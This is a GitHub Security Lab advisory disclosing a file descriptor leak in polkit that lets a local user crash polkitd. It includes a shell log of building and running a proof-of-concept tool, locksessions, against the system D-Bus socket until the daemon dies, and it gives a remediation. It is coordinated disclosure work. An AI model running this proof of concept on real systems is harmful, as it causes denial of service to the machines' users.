GHSL-2021-077: file descriptor exhaustion in polkit
GHSL-2021-077
GitHub Security Lab (GHSL) Vulnerability Report: The GitHub Security Lab team has identified potential security vulnerabilities in polkit.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com
(please include GHSL-2021-077
as a reference).
If you are NOT the correct point of contact for this report, please let us know!
Summary
There is a file descriptor leak in polkit, which can enable an unprivileged user to cause polkit to crash, due to file descriptor exhaustion.
Product
Tested Versions
- policykit-1, 0.105-26ubuntu1 (tested on Ubuntu 20.04.2 LTS)
- policykit-1, 0.105-30 (tested on Ubuntu 21.04)
- polkit, 0.118-1 (tested on Arch Linux)
- polkit, 0.115 (tested on CentOS Stream)
Details
GHSL-2021-077
)
Issue 1: File descriptor exhaustion in polkit (The function polkit_system_bus_name_get_creds_sync
is used to get the uid and pid of the process requesting the action. It does this by sending the unique bus name of the requesting process, which is typically something like ":1.96", to dbus-daemon
, in two consecutive D-Bus method calls. The same callback function, on_retrieved_unix_uid_pid
, is used to handle both replies. The replies are handled during the while-loop on line 435. But notice that the loop can stop early if an error occurs. In other words, if an error occurs then the loop might stop after only one of the two replies has been received. When this happens, the refcount of tmp_context
never returns to zero. This causes an eventfd file descriptor to be leaked. The file descriptor quota is usually a relatively small number, like 1024, so it is easy for a file descriptor leak like this to exhaust the quota. When this happens, polkit crashes.
Proof of concept exploit
The attached proof of concept exploit triggers the file descriptor leak by causing an error to occur in polkit_system_bus_name_get_creds_sync
. It does this by sending a large number of D-Bus messages and then disconnecting from dbus-daemon before it has received the replies. When polkit_system_bus_name_get_creds_sync
asks for the uid and pid of the requesting process, it gets an error reply back from dbus-daemon because the requesting process no longer exists.
Please find the source code for the proof of concept exploit attached. It's packaged as a git bundle, which you can unpack like this:
git clone -b main GHSL-2021-077-polkit.bundle
After you have unpacked the bundle, you will find a README with further instructions on how to build and run the PoC.
Here's a sample run:
kev@hirsute-vm:~$ git clone -b main GHSL-2021-077-polkit.bundle
Cloning into 'GHSL-2021-077-polkit'...
Receiving objects: 100% (8/8), 15.57 KiB | 7.78 MiB/s, done.
kev@hirsute-vm:~$ cd GHSL-2021-077-polkit/
kev@hirsute-vm:~/GHSL-2021-077-polkit$ git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse
Submodule 'DBusParse' (https://github.com/kevinbackhouse/DBusParse.git) registered for path 'DBusParse'
Cloning into '/home/kev/GHSL-2021-077-polkit/DBusParse'...
Submodule path 'DBusParse': checked out '0d28bdc3ba1c6c4e69e125aa394eddd6edb7622f'
kev@hirsute-vm:~/GHSL-2021-077-polkit$ mkdir build
kev@hirsute-vm:~/GHSL-2021-077-polkit$ cd build/
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ cmake ..
-- The C compiler identification is GNU 10.3.0
-- The CXX compiler identification is GNU 10.3.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/kev/GHSL-2021-077-polkit/build
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ make
Scanning dependencies of target DBusParse
[ 6%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus.cpp.o
[ 13%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_auth.cpp.o
[ 20%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_parse.cpp.o
[ 26%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_print.cpp.o
[ 33%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_random.cpp.o
[ 40%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_serialize.cpp.o
[ 46%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_utils.cpp.o
[ 53%] Linking CXX shared library libDBusParse.so
[ 53%] Built target DBusParse
Scanning dependencies of target DBusParseUtils
[ 60%] Building CXX object DBusParse/src/DBusParseUtils/CMakeFiles/DBusParseUtils.dir/parse.cpp.o
[ 66%] Building CXX object DBusParse/src/DBusParseUtils/CMakeFiles/DBusParseUtils.dir/utils.cpp.o
[ 73%] Linking CXX shared library libDBusParseUtils.so
[ 73%] Built target DBusParseUtils
Scanning dependencies of target locksessions
[ 80%] Building CXX object CMakeFiles/locksessions.dir/locksessions.cpp.o
[ 86%] Linking CXX executable locksessions
[ 86%] Built target locksessions
Scanning dependencies of target DBusParseUnitTests
[ 93%] Building CXX object DBusParse/tests/DBusParseUnitTests/CMakeFiles/DBusParseUnitTests.dir/dbus_unit_tests.cpp.o
[100%] Linking CXX executable DBusParseUnitTests
[100%] Built target DBusParseUnitTests
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ sudo ls -l /proc/`pidof polkitd`/fd | wc
12 123 678
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ ./locksessions /var/run/dbus/system_bus_socket 0x4000
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ sudo ls -l /proc/`pidof polkitd`/fd | wc
490 5381 32616
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ ./locksessions /var/run/dbus/system_bus_socket 0x4000
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ sudo ls -l /proc/`pidof polkitd`/fd | wc
956 10507 63837
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ ./locksessions /var/run/dbus/system_bus_socket 0x4000
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$ sudo ls -l /proc/`pidof polkitd`/fd | wc
ls: cannot access '/proc//fd': No such file or directory
0 0 0
kev@hirsute-vm:~/GHSL-2021-077-polkit/build$
Impact
This issue may lead to local denial of service, due to polkit crashing.
Remediation
Do not stop the loop on line 435 early when an error occurs. Use a counter to count the number of replies and don't stop the loop until both replies have been received.
Resources
Proof of concept exploit: GHSL-2021-077-polkit.bundle
Credit
This issue was discovered and reported by GHSL team member @kevinbackhouse (Kevin Backhouse).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-077
in any communication regarding this issue.
Disclosure Policy
This report is subject to our coordinated disclosure policy.